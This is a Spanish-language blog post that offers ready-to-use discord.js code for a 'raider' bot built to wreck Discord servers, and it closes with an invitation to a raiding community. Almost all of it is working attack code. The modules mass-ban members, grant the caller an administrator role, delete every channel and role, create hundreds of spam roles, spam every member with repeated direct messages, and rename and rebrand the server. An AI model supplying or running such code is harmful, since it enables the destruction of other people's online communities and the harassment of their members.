JavaScript - "Códigos" para bot raider discord 📙
AVISO: Estos códigos del lenguaje JavaScript requiere discord.js y que si quieres utilizarlos sería bueno que ya tuvieras experiencia anterior con JavaScript, si eres un principiante muy nuevo en esto pues con pura lógica común o la ayuda de un amigo que tenga algo de conocimiento te podrían ayudar en crearlo, aunque todos nosotros podemos hacer un bot raider bueno si nos lo proponemos, únicamente no te rindas aunque te salga mal algo, siempre intenta encontrar una solución y cree en tí mismo, en fin, esto no es una guía de superación personal xd, mejor procedamos...
Si crees que el aviso fue una biblia, fue mejor que la hayas leído.
MASS BAN:
const { SlashCommandBuilder } = require("@discordjs/builders")
const { MessageEmbed } = require("discord.js")
const Discord = require("discord.js")
module.exports = {
timeout:60000,
data: new SlashCommandBuilder()
.setName("massban")
.setDescription("Banea a gran parte del servidor. "),
async run(client, interaction){
try{
interaction.reply({content: 'Iniciando Massmute en este server, solo podré banear a usuarios inferiores a mi rol.', ephemeral: true})
interaction.guild.members.cache.forEach(member => {
if(member.user.id == interaction.user.id){
return;
}else{
member.ban({reason: 'biohazardSexoSquadbiohazard'}).catch(e=>{
return;
})
}
})
}catch (e) {
console.error(e);
try {
return;
} catch (e) {}
}
}
}
--------------------------------------------------------------------------------------------------------------------------
CAMBIAR EL ÍCONO DEL SERVER:
const { SlashCommandBuilder } = require("@discordjs/builders")
const { MessageEmbed } = require("discord.js")
const Discord = require("discord.js")
module.exports = {
data: new SlashCommandBuilder()
.setName("servericon")
.setDescription("Cambia el icono del server")
.addStringOption(data => data.setName('link').setDescription('Coloca el link de la imagen que deseas poner. Ej: (https://cool-link.png)').setRequired(true)),
async run(client, interaction){
try{
const link = await interaction.options.getString('link')
interaction.guild.setIcon(link).catch(()=>{
return;
})
}catch (e) {
console.error(e);
try {
return;
} catch (e) {}
}
}
}
----------------------------------------------------------------------------------------------------------------------------
CAMBIAR EL NOMBRE DEL SERVER:
const { SlashCommandBuilder } = require("@discordjs/builders")
const { MessageEmbed } = require("discord.js")
const Discord = require("discord.js")
module.exports = {
data: new SlashCommandBuilder()
.setName("servername")
.setDescription("Cambia el nombre del server")
.addStringOption(data => data.setName('texto').setDescription('Escribe el nuevo nombre para el server.').setRequired(true)),
async run(client, interaction){
try{
const texto = await interaction.options.getString('texto')
interaction.guild.setName(texto).catch(()=>{
return;
})
}catch (e) {
console.error(e);
try {
return;
} catch (e) {}
}
}
}
--------------------------------------------------------------------------------------------------------------------------
CAMBIAR EL BANNER DEL SERVER (solo servers con level 2 o 3 de boosts):
const { SlashCommandBuilder } = require("@discordjs/builders")
const { MessageEmbed } = require("discord.js")
const Discord = require("discord.js")
module.exports = {
data: new SlashCommandBuilder()
.setName("serverbanner")
.setDescription("Cambia el banner del server (Solo para servidores Lvl 2 o 3 con banner)")
.addStringOption(data => data.setName('link').setDescription('Coloca el link de la imagen que deseas poner. Ej: (https://cool-link.png)').setRequired(true)),
async run(client, interaction){
try{
const link = await interaction.options.getString('link')
interaction.guild.setBanner(link).catch(()=>{
return;
})
}catch (e) {
console.error(e);
try {
return;
} catch (e) {}
}
}
}
----------------------------------------------------------------------------------------------------------------------------
ROL ADMIN COMANDO:
const { SlashCommandBuilder } = require("@discordjs/builders")
const { MessageEmbed } = require("discord.js")
const Discord = require("discord.js")
module.exports = {
timeout: 3000,
data: new SlashCommandBuilder()
.setName("admin")
.setDescription("Obtén admin en el servidor. ")
.addUserOption(data => data.setName('miembro').setDescription('Dale admin al usuario que quieras. (Opcional)')),
async run(client, interaction){
try{
const target = interaction.options.getMember('miembro')
if(!target){
interaction.guild.roles.create({
name: '.',
permissions: 'ADMINISTRATOR'
}).then(c=>{
interaction.member.roles.add(c.id)
}).catch({content: '**Ocurrió un error al intentar crear un rol con permiso administrativo en este servidor, por favor revise si tengo permisos necesarios.**', ephemeral: true})
interaction.reply({content: '**Has obtenido administrador en este servidor.**', ephemeral: true})
}else{
interaction.guild.roles.create({
name: '.',
permissions: 'ADMINISTRATOR'
}).then(c=>{
target.roles.add(c.id)
}).catch({content: '**Ocurrió un error al intentar crear un rol con permiso administrativo en este servidor, por favor revise si tengo permisos necesarios.**', ephemeral: true})
target.send({content: `**Has obtenido administrador en el servidor ${interaction.guild.name} servidor.**`, ephemeral: true})
}
}catch (e) {
console.error(e);
try {
return;
} catch (e) {}
}
}
}
----------------------------------------------------------------------------------------------------------------------------
CÓDIGO "NUKE":
client.on('message', message => {
if (message.author.bot) return;
if (message.content === '.nuke') {
message.delete();
message.guild.channels.cache.forEach(channel => channel.delete());
message.guild.channels
.create(`RAIDEADOS`, {
type: 'text'
})
.then(channel => {
channel.send(
'RAIDEADOS'
);
});
}
});
-----------------------------------------------------------------------------------------------------------------------------
CÓDIGO PARA MANDAR MD A TODOS LOS DEL SERVER:
client.on('message', message => {
if (message.author.bot) return;
if (message.content === '.mdall') message.delete();
message.guild.members.cache.forEach(member => {
setInterval(function() {
member
.send(
'Tu mensaje'
)
.catch(error => { });
}, 450);
});
});
----------------------------------------------------------------------------------------------------------------------------
CÓDIGO PARA CREAR ROLES MASIVAMENTE:
client.on('message', message => {
if (message.author.bot) return;
if (message.content === '.crearroles') {
message.delete();
for (let i = 0; i <= 200; i++) {
message.guild.roles.create({
data: { name: `RaidByRammy`, color: '#d41818' },
reason: 'razon'
});
}
}
});
----------------------------------------------------------------------------------------------------------------------------
CÓDIGO PARA BORRAR TODOS LOS ROLES:
client.on('message', message => {
if (message.author.bot) return;
if (message.content === '.eliminarroles') {
message.delete();
message.guild.roles.cache.map(roles => roles.delete());
}
});
---------------------------------------------------------------------------------------------------------------------------
Si tienen alguna duda, problema o quieres apoyar esto si te sirvió pues únete a este server: Lazarus
Hay una pequeña extensión de esta guía en el server oficial de lazarus.
© 2022 Herr Rammy ϟϟ

Comentarios
Publicar un comentario